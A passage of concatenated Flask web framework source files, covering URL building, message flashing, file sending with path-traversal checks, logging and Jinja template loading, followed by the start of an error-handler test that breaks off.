from .signals import message_flashed
from .globals import session, _request_ctx_stack, _app_ctx_stack, \
     current_app, request
from ._compat import string_types, text_type, PY2


# sentinel
_missing = object()


# what separators does this operating system provide that are not a slash?
# this is used by the send_from_directory function to ensure that nobody is
# able to access files from outside the filesystem.
_os_alt_seps = list(sep for sep in [os.path.sep, os.path.altsep]
                    if sep not in (None, '/'))


def get_debug_flag(default=None):
    val = os.environ.get('FLASK_DEBUG')
    if not val:
        return default
    return val not in ('0', 'false', 'no')


def _endpoint_from_view_func(view_func):
    """Internal helper that returns the default endpoint for a given
    function.  This always is the function name.
    """
    assert view_func is not None, 'expected view func if endpoint ' \
                                  'is not provided.'
    return view_func.__name__


def stream_with_context(generator_or_function):
    """Request contexts disappear when the response is started on the server.
    This is done for efficiency reasons and to make it less likely to encounter
    memory leaks with badly written WSGI middlewares.  The downside is that if
    you are using streamed responses, the generator cannot access request bound
    information any more.

    This function however can help you keep the context around for longer::

        from flask import stream_with_context, request, Response

        @app.route('/stream')
        def streamed_response():
            @stream_with_context
            def generate():
                yield 'Hello '
                yield request.args['name']
                yield '!'
            return Response(generate())

    Alternatively it can also be used around a specific generator::

        from flask import stream_with_context, request, Response

        @app.route('/stream')
        def streamed_response():
            def generate():
                yield 'Hello '
                yield request.args['name']
                yield '!'
            return Response(stream_with_context(generate()))

    .. versionadded:: 0.9
    """
    try:
        gen = iter(generator_or_function)
    except TypeError:
        def decorator(*args, **kwargs):
            gen = generator_or_function(*args, **kwargs)
            return stream_with_context(gen)
        return update_wrapper(decorator, generator_or_function)

    def generator():
        ctx = _request_ctx_stack.top
        if ctx is None:
            raise RuntimeError('Attempted to stream with context but '
                'there was no context in the first place to keep around.')
        with ctx:
            # Dummy sentinel.  Has to be inside the context block or we're
            # not actually keeping the context around.
            yield None

            # The try/finally is here so that if someone passes a WSGI level
            # iterator in we're still running the cleanup logic.  Generators
            # don't need that because they are closed on their destruction
            # automatically.
            try:
                for item in gen:
                    yield item
            finally:
                if hasattr(gen, 'close'):
                    gen.close()

    # The trick is to start the generator.  Then the code execution runs until
    # the first dummy None is yielded at which point the context was already
    # pushed.  This item is discarded.  Then when the iteration continues the
    # real generator is executed.
    wrapped_g = generator()
    next(wrapped_g)
    return wrapped_g


def make_response(*args):
    """Sometimes it is necessary to set additional headers in a view.  Because
    views do not have to return response objects but can return a value that
    is converted into a response object by Flask itself, it becomes tricky to
    add headers to it.  This function can be called instead of using a return
    and you will get a response object which you can use to attach headers.

    If view looked like this and you want to add a new header::

        def index():
            return render_template('index.html', foo=42)

    You can now do something like this::

        def index():
            response = make_response(render_template('index.html', foo=42))
            response.headers['X-Parachutes'] = 'parachutes are cool'
            return response

    This function accepts the very same arguments you can return from a
    view function.  This for example creates a response with a 404 error
    code::

        response = make_response(render_template('not_found.html'), 404)

    The other use case of this function is to force the return value of a
    view function into a response which is helpful with view
    decorators::

        response = make_response(view_function())
        response.headers['X-Parachutes'] = 'parachutes are cool'

    Internally this function does the following things:

    -   if no arguments are passed, it creates a new response argument
    -   if one argument is passed, :meth:`flask.Flask.make_response`
        is invoked with it.
    -   if more than one argument is passed, the arguments are passed
        to the :meth:`flask.Flask.make_response` function as tuple.

    .. versionadded:: 0.6
    """
    if not args:
        return current_app.response_class()
    if len(args) == 1:
        args = args[0]
    return current_app.make_response(args)


def url_for(endpoint, **values):
    """Generates a URL to the given endpoint with the method provided.

    Variable arguments that are unknown to the target endpoint are appended
    to the generated URL as query arguments.  If the value of a query argument
    is ``None``, the whole pair is skipped.  In case blueprints are active
    you can shortcut references to the same blueprint by prefixing the
    local endpoint with a dot (``.``).

    This will reference the index function local to the current blueprint::

        url_for('.index')

    For more information, head over to the :ref:`Quickstart <url-building>`.

    To integrate applications, :class:`Flask` has a hook to intercept URL build
    errors through :attr:`Flask.url_build_error_handlers`.  The `url_for`
    function results in a :exc:`~werkzeug.routing.BuildError` when the current
    app does not have a URL for the given endpoint and values.  When it does, the
    :data:`~flask.current_app` calls its :attr:`~Flask.url_build_error_handlers` if
    it is not ``None``, which can return a string to use as the result of
    `url_for` (instead of `url_for`'s default to raise the
    :exc:`~werkzeug.routing.BuildError` exception) or re-raise the exception.
    An example::

        def external_url_handler(error, endpoint, values):
            "Looks up an external URL when `url_for` cannot build a URL."
            # This is an example of hooking the build_error_handler.
            # Here, lookup_url is some utility function you've built
            # which looks up the endpoint in some external URL registry.
            url = lookup_url(endpoint, **values)
            if url is None:
                # External lookup did not have a URL.
                # Re-raise the BuildError, in context of original traceback.
                exc_type, exc_value, tb = sys.exc_info()
                if exc_value is error:
                    raise exc_type, exc_value, tb
                else:
                    raise error
            # url_for will use this result, instead of raising BuildError.
            return url

        app.url_build_error_handlers.append(external_url_handler)

    Here, `error` is the instance of :exc:`~werkzeug.routing.BuildError`, and
    `endpoint` and `values` are the arguments passed into `url_for`.  Note
    that this is for building URLs outside the current application, and not for
    handling 404 NotFound errors.

    .. versionadded:: 0.10
       The `_scheme` parameter was added.

    .. versionadded:: 0.9
       The `_anchor` and `_method` parameters were added.

    .. versionadded:: 0.9
       Calls :meth:`Flask.handle_build_error` on
       :exc:`~werkzeug.routing.BuildError`.

    :param endpoint: the endpoint of the URL (name of the function)
    :param values: the variable arguments of the URL rule
    :param _external: if set to ``True``, an absolute URL is generated. Server
      address can be changed via ``SERVER_NAME`` configuration variable which
      defaults to `localhost`.
    :param _scheme: a string specifying the desired URL scheme. The `_external`
      parameter must be set to ``True`` or a :exc:`ValueError` is raised. The default
      behavior uses the same scheme as the current request, or
      ``PREFERRED_URL_SCHEME`` from the :ref:`app configuration <config>` if no
      request context is available. As of Werkzeug 0.10, this also can be set
      to an empty string to build protocol-relative URLs.
    :param _anchor: if provided this is added as anchor to the URL.
    :param _method: if provided this explicitly specifies an HTTP method.
    """
    appctx = _app_ctx_stack.top
    reqctx = _request_ctx_stack.top
    if appctx is None:
        raise RuntimeError('Attempted to generate a URL without the '
                           'application context being pushed. This has to be '
                           'executed when application context is available.')

    # If request specific information is available we have some extra
    # features that support "relative" URLs.
    if reqctx is not None:
        url_adapter = reqctx.url_adapter
        blueprint_name = request.blueprint
        if not reqctx.request._is_old_module:
            if endpoint[:1] == '.':
                if blueprint_name is not None:
                    endpoint = blueprint_name + endpoint
                else:
                    endpoint = endpoint[1:]
        else:
            # TODO: get rid of this deprecated functionality in 1.0
            if '.' not in endpoint:
                if blueprint_name is not None:
                    endpoint = blueprint_name + '.' + endpoint
            elif endpoint.startswith('.'):
                endpoint = endpoint[1:]
        external = values.pop('_external', False)

    # Otherwise go with the url adapter from the appctx and make
    # the URLs external by default.
    else:
        url_adapter = appctx.url_adapter
        if url_adapter is None:
            raise RuntimeError('Application was not able to create a URL '
                               'adapter for request independent URL generation. '
                               'You might be able to fix this by setting '
                               'the SERVER_NAME config variable.')
        external = values.pop('_external', True)

    anchor = values.pop('_anchor', None)
    method = values.pop('_method', None)
    scheme = values.pop('_scheme', None)
    appctx.app.inject_url_defaults(endpoint, values)

    # This is not the best way to deal with this but currently the
    # underlying Werkzeug router does not support overriding the scheme on
    # a per build call basis.
    old_scheme = None
    if scheme is not None:
        if not external:
            raise ValueError('When specifying _scheme, _external must be True')
        old_scheme = url_adapter.url_scheme
        url_adapter.url_scheme = scheme

    try:
        try:
            rv = url_adapter.build(endpoint, values, method=method,
                                   force_external=external)
        finally:
            if old_scheme is not None:
                url_adapter.url_scheme = old_scheme
    except BuildError as error:
        # We need to inject the values again so that the app callback can
        # deal with that sort of stuff.
        values['_external'] = external
        values['_anchor'] = anchor
        values['_method'] = method
        return appctx.app.handle_url_build_error(error, endpoint, values)

    if anchor is not None:
        rv += '#' + url_quote(anchor)
    return rv


def get_template_attribute(template_name, attribute):
    """Loads a macro (or variable) a template exports.  This can be used to
    invoke a macro from within Python code.  If you for example have a
    template named :file:`_cider.html` with the following contents:

    .. sourcecode:: html+jinja

       {% macro hello(name) %}Hello {{ name }}!{% endmacro %}

    You can access this from Python code like this::

        hello = get_template_attribute('_cider.html', 'hello')
        return hello('World')

    .. versionadded:: 0.2

    :param template_name: the name of the template
    :param attribute: the name of the variable of macro to access
    """
    return getattr(current_app.jinja_env.get_template(template_name).module,
                   attribute)


def flash(message, category='message'):
    """Flashes a message to the next request.  In order to remove the
    flashed message from the session and to display it to the user,
    the template has to call :func:`get_flashed_messages`.

    .. versionchanged:: 0.3
       `category` parameter added.

    :param message: the message to be flashed.
    :param category: the category for the message.  The following values
                     are recommended: ``'message'`` for any kind of message,
                     ``'error'`` for errors, ``'info'`` for information
                     messages and ``'warning'`` for warnings.  However any
                     kind of string can be used as category.
    """
    # Original implementation:
    #
    #     session.setdefault('_flashes', []).append((category, message))
    #
    # This assumed that changes made to mutable structures in the session are
    # are always in sync with the session object, which is not true for session
    # implementations that use external storage for keeping their keys/values.
    flashes = session.get('_flashes', [])
    flashes.append((category, message))
    session['_flashes'] = flashes
    message_flashed.send(current_app._get_current_object(),
                         message=message, category=category)


def get_flashed_messages(with_categories=False, category_filter=[]):
    """Pulls all flashed messages from the session and returns them.
    Further calls in the same request to the function will return
    the same messages.  By default just the messages are returned,
    but when `with_categories` is set to ``True``, the return value will
    be a list of tuples in the form ``(category, message)`` instead.

    Filter the flashed messages to one or more categories by providing those
    categories in `category_filter`.  This allows rendering categories in
    separate html blocks.  The `with_categories` and `category_filter`
    arguments are distinct:

    * `with_categories` controls whether categories are returned with message
      text (``True`` gives a tuple, where ``False`` gives just the message text).
    * `category_filter` filters the messages down to only those matching the
      provided categories.

    See :ref:`message-flashing-pattern` for examples.

    .. versionchanged:: 0.3
       `with_categories` parameter added.

    .. versionchanged:: 0.9
        `category_filter` parameter added.

    :param with_categories: set to ``True`` to also receive categories.
    :param category_filter: whitelist of categories to limit return values
    """
    flashes = _request_ctx_stack.top.flashes
    if flashes is None:
        _request_ctx_stack.top.flashes = flashes = session.pop('_flashes') \
            if '_flashes' in session else []
    if category_filter:
        flashes = list(filter(lambda f: f[0] in category_filter, flashes))
    if not with_categories:
        return [x[1] for x in flashes]
    return flashes


def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False, last_modified=None):
    """Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    You must explicitly provide the mimetype for the filename or file object.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       mimetype guessing and etag support removed for file objects.
       If no mimetype or attachment_filename is provided, application/octet-stream
       will be used.

    :param filename_or_fp: the filename of the file to send in `latin-1`.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided, otherwise
                     auto detection happens.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    :param last_modified: set the ``Last-Modified`` header to this value,
        a :class:`~datetime.datetime` or timestamp.
        If a file was passed, this overrides its mtime.
    """
    mtime = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        file = None
    else:
        file = filename_or_fp
        filename = getattr(file, 'name', None)

    if filename is not None:
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
    if mimetype is None and (filename or attachment_filename):
        mimetype = mimetypes.guess_type(filename or attachment_filename)[0]
    if mimetype is None:
        mimetype = 'application/octet-stream'

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            if filename is None:
                raise TypeError('filename unavailable, required for '
                                'sending as attachment')
            attachment_filename = os.path.basename(filename)
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        headers['Content-Length'] = os.path.getsize(filename)
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            headers['Content-Length'] = os.path.getsize(filename)
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    if last_modified is not None:
        rv.last_modified = last_modified
    elif mtime is not None:
        rv.last_modified = mtime

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None and file is None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

        if conditional:
            rv = rv.make_conditional(request)
            # make sure we don't send x-sendfile for servers that
            # ignore the 304 status code for x-sendfile.
            if rv.status_code == 304:
                rv.headers.pop('x-sendfile', None)
    return rv


def safe_join(directory, *pathnames):
    """Safely join `directory` and zero or more untrusted `pathnames`
    components.

    Example usage::

        @app.route('/wiki/<path:filename>')
        def wiki_page(filename):
            filename = safe_join(app.config['WIKI_FOLDER'], filename)
            with open(filename, 'rb') as fd:
                content = fd.read()  # Read and process the file content...

    :param directory: the trusted base directory.
    :param pathnames: the untrusted pathnames relative to that directory.
    :raises: :class:`~werkzeug.exceptions.NotFound` if one or more passed
            paths fall out of its boundaries.
    """
    for filename in pathnames:
        if filename != '':
            filename = posixpath.normpath(filename)
        for sep in _os_alt_seps:
            if sep in filename:
                raise NotFound()
        if os.path.isabs(filename) or \
           filename == '..' or \
           filename.startswith('../'):
            raise NotFound()
        directory = os.path.join(directory, filename)
    return directory


def send_from_directory(directory, filename, **options):
    """Send a file from a given directory with :func:`send_file`.  This
    is a secure way to quickly expose static files from an upload folder
    or something similar.

    Example usage::

        @app.route('/uploads/<path:filename>')
        def download_file(filename):
            return send_from_directory(app.config['UPLOAD_FOLDER'],
                                       filename, as_attachment=True)

    .. admonition:: Sending files and Performance

       It is strongly recommended to activate either ``X-Sendfile`` support in
       your webserver or (if no authentication happens) to tell the webserver
       to serve files for the given path on its own without calling into the
       web application for improved performance.

    .. versionadded:: 0.5

    :param directory: the directory where all the files are stored.
    :param filename: the filename relative to that directory to
                     download.
    :param options: optional keyword arguments that are directly
                    forwarded to :func:`send_file`.
    """
    filename = safe_join(directory, filename)
    if not os.path.isabs(filename):
        filename = os.path.join(current_app.root_path, filename)
    try:
        if not os.path.isfile(filename):
            raise NotFound()
    except (TypeError, ValueError):
        raise BadRequest()
    options.setdefault('conditional', True)
    return send_file(filename, **options)


def get_root_path(import_name):
    """Returns the path to a package or cwd if that cannot be found.  This
    returns the path of a package or the folder that contains a module.

    Not to be confused with the package path returned by :func:`find_package`.
    """
    # Module already imported and has a file attribute.  Use that first.
    mod = sys.modules.get(import_name)
    if mod is not None and hasattr(mod, '__file__'):
        return os.path.dirname(os.path.abspath(mod.__file__))

    # Next attempt: check the loader.
    loader = pkgutil.get_loader(import_name)

    # Loader does not exist or we're referring to an unloaded main module
    # or a main module without path (interactive sessions), go with the
    # current working directory.
    if loader is None or import_name == '__main__':
        return os.getcwd()

    # For .egg, zipimporter does not have get_filename until Python 2.7.
    # Some other loaders might exhibit the same behavior.
    if hasattr(loader, 'get_filename'):
        filepath = loader.get_filename(import_name)
    else:
        # Fall back to imports.
        __import__(import_name)
        mod = sys.modules[import_name]
        filepath = getattr(mod, '__file__', None)

        # If we don't have a filepath it might be because we are a
        # namespace package.  In this case we pick the root path from the
        # first module that is contained in our package.
        if filepath is None:
            raise RuntimeError('No root path can be found for the provided '
                               'module "%s".  This can happen because the '
                               'module came from an import hook that does '
                               'not provide file name information or because '
                               'it\'s a namespace package.  In this case '
                               'the root path needs to be explicitly '
                               'provided.' % import_name)

    # filepath is import_name.py for a module, or __init__.py for a package.
    return os.path.dirname(os.path.abspath(filepath))


def _matching_loader_thinks_module_is_package(loader, mod_name):
    """Given the loader that loaded a module and the module this function
    attempts to figure out if the given module is actually a package.
    """
    # If the loader can tell us if something is a package, we can
    # directly ask the loader.
    if hasattr(loader, 'is_package'):
        return loader.is_package(mod_name)
    # importlib's namespace loaders do not have this functionality but
    # all the modules it loads are packages, so we can take advantage of
    # this information.
    elif (loader.__class__.__module__ == '_frozen_importlib' and
          loader.__class__.__name__ == 'NamespaceLoader'):
        return True
    # Otherwise we need to fail with an error that explains what went
    # wrong.
    raise AttributeError(
        ('%s.is_package() method is missing but is required by Flask of '
         'PEP 302 import hooks.  If you do not use import hooks and '
         'you encounter this error please file a bug against Flask.') %
        loader.__class__.__name__)


def find_package(import_name):
    """Finds a package and returns the prefix (or None if the package is
    not installed) as well as the folder that contains the package or
    module as a tuple.  The package path returned is the module that would
    have to be added to the pythonpath in order to make it possible to
    import the module.  The prefix is the path below which a UNIX like
    folder structure exists (lib, share etc.).
    """
    root_mod_name = import_name.split('.')[0]
    loader = pkgutil.get_loader(root_mod_name)
    if loader is None or import_name == '__main__':
        # import name is not found, or interactive/main module
        package_path = os.getcwd()
    else:
        # For .egg, zipimporter does not have get_filename until Python 2.7.
        if hasattr(loader, 'get_filename'):
            filename = loader.get_filename(root_mod_name)
        elif hasattr(loader, 'archive'):
            # zipimporter's loader.archive points to the .egg or .zip
            # archive filename is dropped in call to dirname below.
            filename = loader.archive
        else:
            # At least one loader is missing both get_filename and archive:
            # Google App Engine's HardenedModulesHook
            #
            # Fall back to imports.
            __import__(import_name)
            filename = sys.modules[import_name].__file__
        package_path = os.path.abspath(os.path.dirname(filename))

        # In case the root module is a package we need to chop of the
        # rightmost part.  This needs to go through a helper function
        # because of python 3.3 namespace packages.
        if _matching_loader_thinks_module_is_package(
                loader, root_mod_name):
            package_path = os.path.dirname(package_path)

    site_parent, site_folder = os.path.split(package_path)
    py_prefix = os.path.abspath(sys.prefix)
    if package_path.startswith(py_prefix):
        return py_prefix, package_path
    elif site_folder.lower() == 'site-packages':
        parent, folder = os.path.split(site_parent)
        # Windows like installations
        if folder.lower() == 'lib':
            base_dir = parent
        # UNIX like installations
        elif os.path.basename(parent).lower() == 'lib':
            base_dir = os.path.dirname(parent)
        else:
            base_dir = site_parent
        return base_dir, package_path
    return None, package_path


class locked_cached_property(object):
    """A decorator that converts a function into a lazy property.  The
    function wrapped is called the first time to retrieve the result
    and then that calculated result is used the next time you access
    the value.  Works like the one in Werkzeug but has a lock for
    thread safety.
    """

    def __init__(self, func, name=None, doc=None):
        self.__name__ = name or func.__name__
        self.__module__ = func.__module__
        self.__doc__ = doc or func.__doc__
        self.func = func
        self.lock = RLock()

    def __get__(self, obj, type=None):
        if obj is None:
            return self
        with self.lock:
            value = obj.__dict__.get(self.__name__, _missing)
            if value is _missing:
                value = self.func(obj)
                obj.__dict__[self.__name__] = value
            return value


class _PackageBoundObject(object):

    def __init__(self, import_name, template_folder=None, root_path=None):
        #: The name of the package or module.  Do not change this once
        #: it was set by the constructor.
        self.import_name = import_name

        #: location of the templates.  ``None`` if templates should not be
        #: exposed.
        self.template_folder = template_folder

        if root_path is None:
            root_path = get_root_path(self.import_name)

        #: Where is the app root located?
        self.root_path = root_path

        self._static_folder = None
        self._static_url_path = None

    def _get_static_folder(self):
        if self._static_folder is not None:
            return os.path.join(self.root_path, self._static_folder)
    def _set_static_folder(self, value):
        self._static_folder = value
    static_folder = property(_get_static_folder, _set_static_folder, doc='''
    The absolute path to the configured static folder.
    ''')
    del _get_static_folder, _set_static_folder

    def _get_static_url_path(self):
        if self._static_url_path is not None:
            return self._static_url_path
        if self.static_folder is not None:
            return '/' + os.path.basename(self.static_folder)
    def _set_static_url_path(self, value):
        self._static_url_path = value
    static_url_path = property(_get_static_url_path, _set_static_url_path)
    del _get_static_url_path, _set_static_url_path

    @property
    def has_static_folder(self):
        """This is ``True`` if the package bound object's container has a
        folder for static files.

        .. versionadded:: 0.5
        """
        return self.static_folder is not None

    @locked_cached_property
    def jinja_loader(self):
        """The Jinja loader for this package bound object.

        .. versionadded:: 0.5
        """
        if self.template_folder is not None:
            return FileSystemLoader(os.path.join(self.root_path,
                                                 self.template_folder))

    def get_send_file_max_age(self, filename):
        """Provides default cache_timeout for the :func:`send_file` functions.

        By default, this function returns ``SEND_FILE_MAX_AGE_DEFAULT`` from
        the configuration of :data:`~flask.current_app`.

        Static file functions such as :func:`send_from_directory` use this
        function, and :func:`send_file` calls this function on
        :data:`~flask.current_app` when the given cache_timeout is ``None``. If a
        cache_timeout is given in :func:`send_file`, that timeout is used;
        otherwise, this method is called.

        This allows subclasses to change the behavior when sending files based
        on the filename.  For example, to set the cache timeout for .js files
        to 60 seconds::

            class MyFlask(flask.Flask):
                def get_send_file_max_age(self, name):
                    if name.lower().endswith('.js'):
                        return 60
                    return flask.Flask.get_send_file_max_age(self, name)

        .. versionadded:: 0.9
        """
        return total_seconds(current_app.send_file_max_age_default)

    def send_static_file(self, filename):
        """Function used internally to send static files from the static
        folder to the browser.

        .. versionadded:: 0.5
        """
        if not self.has_static_folder:
            raise RuntimeError('No static folder for this object')
        # Ensure get_send_file_max_age is called in all cases.
        # Here, we ensure get_send_file_max_age is called for Blueprints.
        cache_timeout = self.get_send_file_max_age(filename)
        return send_from_directory(self.static_folder, filename,
                                   cache_timeout=cache_timeout)

    def open_resource(self, resource, mode='rb'):
        """Opens a resource from the application's resource folder.  To see
        how this works, consider the following folder structure::

            /myapplication.py
            /schema.sql
            /static
                /style.css
            /templates
                /layout.html
                /index.html

        If you want to open the :file:`schema.sql` file you would do the
        following::

            with app.open_resource('schema.sql') as f:
                contents = f.read()
                do_something_with(contents)

        :param resource: the name of the resource.  To access resources within
                         subfolders use forward slashes as separator.
        :param mode: resource file opening mode, default is 'rb'.
        """
        if mode not in ('r', 'rb'):
            raise ValueError('Resources can only be opened for reading')
        return open(os.path.join(self.root_path, resource), mode)


def total_seconds(td):
    """Returns the total seconds from a timedelta object.

    :param timedelta td: the timedelta to be converted in seconds

    :returns: number of seconds
    :rtype: int
    """
    return td.days * 60 * 60 * 24 + td.seconds






# -*- coding: utf-8 -*-
"""
    flask.logging
    ~~~~~~~~~~~~~

    Implements the logging support for Flask.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import sys

from werkzeug.local import LocalProxy
from logging import getLogger, StreamHandler, Formatter, getLoggerClass, \
     DEBUG, ERROR
from .globals import _request_ctx_stack


PROD_LOG_FORMAT = '[%(asctime)s] %(levelname)s in %(module)s: %(message)s'
DEBUG_LOG_FORMAT = (
    '-' * 80 + '\n' +
    '%(levelname)s in %(module)s [%(pathname)s:%(lineno)d]:\n' +
    '%(message)s\n' +
    '-' * 80
)


@LocalProxy
def _proxy_stream():
    """Finds the most appropriate error stream for the application.  If a
    WSGI request is in flight we log to wsgi.errors, otherwise this resolves
    to sys.stderr.
    """
    ctx = _request_ctx_stack.top
    if ctx is not None:
        return ctx.request.environ['wsgi.errors']
    return sys.stderr


def _should_log_for(app, mode):
    policy = app.config['LOGGER_HANDLER_POLICY']
    if policy == mode or policy == 'always':
        return True
    return False


def create_logger(app):
    """Creates a logger for the given application.  This logger works
    similar to a regular Python logger but changes the effective logging
    level based on the application's debug flag.  Furthermore this
    function also removes all attached handlers in case there was a
    logger with the log name before.
    """
    Logger = getLoggerClass()

    class DebugLogger(Logger):
        def getEffectiveLevel(self):
            if self.level == 0 and app.debug:
                return DEBUG
            return Logger.getEffectiveLevel(self)

    class DebugHandler(StreamHandler):
        def emit(self, record):
            if app.debug and _should_log_for(app, 'debug'):
                StreamHandler.emit(self, record)

    class ProductionHandler(StreamHandler):
        def emit(self, record):
            if not app.debug and _should_log_for(app, 'production'):
                StreamHandler.emit(self, record)

    debug_handler = DebugHandler()
    debug_handler.setLevel(DEBUG)
    debug_handler.setFormatter(Formatter(DEBUG_LOG_FORMAT))

    prod_handler = ProductionHandler(_proxy_stream)
    prod_handler.setLevel(ERROR)
    prod_handler.setFormatter(Formatter(PROD_LOG_FORMAT))

    logger = getLogger(app.logger_name)
    # just in case that was not a new logger, get rid of all the handlers
    # already attached to it.
    del logger.handlers[:]
    logger.__class__ = DebugLogger
    logger.addHandler(debug_handler)
    logger.addHandler(prod_handler)
    return logger






# -*- coding: utf-8 -*-
"""
    flask.templating
    ~~~~~~~~~~~~~~~~

    Implements the bridge to Jinja2.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from jinja2 import BaseLoader, Environment as BaseEnvironment, \
     TemplateNotFound

from .globals import _request_ctx_stack, _app_ctx_stack
from .signals import template_rendered, before_render_template


def _default_template_ctx_processor():
    """Default template context processor.  Injects `request`,
    `session` and `g`.
    """
    reqctx = _request_ctx_stack.top
    appctx = _app_ctx_stack.top
    rv = {}
    if appctx is not None:
        rv['g'] = appctx.g
    if reqctx is not None:
        rv['request'] = reqctx.request
        rv['session'] = reqctx.session
    return rv


class Environment(BaseEnvironment):
    """Works like a regular Jinja2 environment but has some additional
    knowledge of how Flask's blueprint works so that it can prepend the
    name of the blueprint to referenced templates if necessary.
    """

    def __init__(self, app, **options):
        if 'loader' not in options:
            options['loader'] = app.create_global_jinja_loader()
        BaseEnvironment.__init__(self, **options)
        self.app = app


class DispatchingJinjaLoader(BaseLoader):
    """A loader that looks for templates in the application and all
    the blueprint folders.
    """

    def __init__(self, app):
        self.app = app

    def get_source(self, environment, template):
        if self.app.config['EXPLAIN_TEMPLATE_LOADING']:
            return self._get_source_explained(environment, template)
        return self._get_source_fast(environment, template)

    def _get_source_explained(self, environment, template):
        attempts = []
        trv = None

        for srcobj, loader in self._iter_loaders(template):
            try:
                rv = loader.get_source(environment, template)
                if trv is None:
                    trv = rv
            except TemplateNotFound:
                rv = None
            attempts.append((loader, srcobj, rv))

        from .debughelpers import explain_template_loading_attempts
        explain_template_loading_attempts(self.app, template, attempts)

        if trv is not None:
            return trv
        raise TemplateNotFound(template)

    def _get_source_fast(self, environment, template):
        for srcobj, loader in self._iter_loaders(template):
            try:
                return loader.get_source(environment, template)
            except TemplateNotFound:
                continue
        raise TemplateNotFound(template)

    def _iter_loaders(self, template):
        loader = self.app.jinja_loader
        if loader is not None:
            yield self.app, loader

        for blueprint in self.app.iter_blueprints():
            loader = blueprint.jinja_loader
            if loader is not None:
                yield blueprint, loader

    def list_templates(self):
        result = set()
        loader = self.app.jinja_loader
        if loader is not None:
            result.update(loader.list_templates())

        for blueprint in self.app.iter_blueprints():
            loader = blueprint.jinja_loader
            if loader is not None:
                for template in loader.list_templates():
                    result.add(template)

        return list(result)


def _render(template, context, app):
    """Renders the template and fires the signal"""

    before_render_template.send(app, template=template, context=context)
    rv = template.render(context)
    template_rendered.send(app, template=template, context=context)
    return rv


def render_template(template_name_or_list, **context):
    """Renders a template from the template folder with the given
    context.

    :param template_name_or_list: the name of the template to be
                                  rendered, or an iterable with template names
                                  the first one existing will be rendered
    :param context: the variables that should be available in the
                    context of the template.
    """
    ctx = _app_ctx_stack.top
    ctx.app.update_template_context(context)
    return _render(ctx.app.jinja_env.get_or_select_template(template_name_or_list),
                   context, ctx.app)


def render_template_string(source, **context):
    """Renders a template from the given template source string
    with the given context. Template variables will be autoescaped.

    :param source: the source code of the template to be
                   rendered
    :param context: the variables that should be available in the
                    context of the template.
    """
    ctx = _app_ctx_stack.top
    ctx.app.update_template_context(context)
    return _render(ctx.app.jinja_env.from_string(source),
                   context, ctx.app)






# -*- coding: utf-8 -*-
"""
    flask.ext
    ~~~~~~~~~

    Redirect imports for extensions.  This module basically makes it possible
    for us to transition from flaskext.foo to flask_foo without having to
    force all extensions to upgrade at the same time.

    When a user does ``from flask.ext.foo import bar`` it will attempt to
    import ``from flask_foo import bar`` first and when that fails it will
    try to import ``from flaskext.foo import bar``.

    We're switching from namespace packages because it was just too painful for
    everybody involved.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""


def setup():
    from ..exthook import ExtensionImporter
    importer = ExtensionImporter(['flask_%s', 'flaskext.%s'], __name__)
    importer.install()


setup()
del setup






# -*- coding: utf-8 -*-
from werkzeug.exceptions import Forbidden, InternalServerError
import flask


def test_error_handler_no_match():
    app = flask.Flask(__name__)

    class CustomException(Exception):
        pass

    @app.errorhandler(CustomException)
    def custom_exception_handler(e):
        assert isinstance(e, CustomException)
        return 'custom'

    @app.errorhandler(500)
    def handle_500(e):
        return type(e).__name__

    @app.route('/custom')
    def custom_test():
        raise CustomException()

    @app.route('/keyerror')
    def key_error():
        raise KeyError()

    c = app.test_client()

    assert c.get('/custom').data == b'custom'
    assert c.get('/keyerror').data == b'KeyError'


def test_error_handler_subclass():
